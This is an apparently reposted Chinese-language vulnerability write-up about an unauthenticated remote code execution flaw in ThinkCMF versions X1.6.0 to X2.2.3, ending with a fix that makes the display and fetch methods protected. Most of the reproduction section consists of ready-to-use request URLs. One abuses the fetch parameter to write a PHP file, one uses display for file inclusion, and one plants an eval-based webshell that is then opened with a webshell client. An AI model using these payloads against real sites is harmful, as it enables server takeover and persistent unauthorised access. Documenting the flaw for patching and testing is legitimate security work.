ThinkCMF 框架上的任意內容包含漏洞


0x01  背景

ThinkCMF是一款基於PHP+MYSQL開發的中文內容管理框架,底層采用ThinkPHP3.2.3構建。
ThinkCMF提出靈活的應用機制,框架自身提供基礎的管理功能,而開發者可以根據自身的需求以應用的形式進行擴展。
每個應用都能獨立的完成自己的任務,也可通過系統調用其他應用進行協同工作。在這種運行機制下,開發商場應用的用戶無需關心開發SNS應用時如何工作的,但他們之間又可通過系統本身進行協調,大大的降低了開發成本和溝通成本。

官網:http://www.thinkcmf.com

0x02  印象版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
 

0x03 漏洞危害

遠程攻擊者在無需任何權限情況下,通過構造特定的請求包即可在遠程服務器上執行任意代碼

0x04 漏洞復現

1) 這里我用的是ThinkCMF x2.2.3版本 

下載thinkcmf

把他移到網站后直接放到phpstudy的目錄下,訪問路徑/ThinkCMFX/

 

2)安裝向導 看自己真實情況填寫!!! 我這邊 數據庫連接密碼是root

 

 

3)測試POC  通過構造a參數的fetch方法,可以不需要知道文件路徑就可以把php代碼寫入文件
phpinfo版payload如下:

http://192.168.115.21/thinkcmf/?a=fetch&templateFile=public/index&prefix=%27%27&content=%3Cphp%3Efile_put_contents(%27test.php%27,%27%3C?php%20phpinfo();%20?%3E%27)%3C/php%3E

執行payload,頁面是空白的

訪問test.php 文件

http://192.168.115.21/thinkcmf/test.php

4)  構造poc2  通過構造a參數的display方法,實現任意內容包含漏洞

payload:

?a=display&templateFile=README.md


通過文件包含可以訪問到之前寫的test.php文件

5)查看之前寫入的test.php文件

6) 寫入一句話木馬文件 

http://192.168.115.21/thinkcmf/?a=fetch&templateFile=public/index&prefix=%27%27&content=%3Cphp%3Efile_put_contents(%27shell.php%27,%27%3C?php%20eval($_POST[%22pass%22]);?%3E%27)%3C/php%3E

7) 螞蟻測試鏈接 

 

0x05 漏洞修復建議

將 HomebaseController.class.php 和 AdminbaseController.class.php 類中 display 和 fetch 函數的修飾符改為 protected

 

參考鏈接:

https://blog.riskivy.com/thinkcmf-%E6%A1%86%E6%9E%B6%E4%B8%8A%E7%9A%84%E4%BB%BB%E6%84%8F%E5%86%85%E5%AE%B9%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/?from=timeline&isappinstalled=0

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM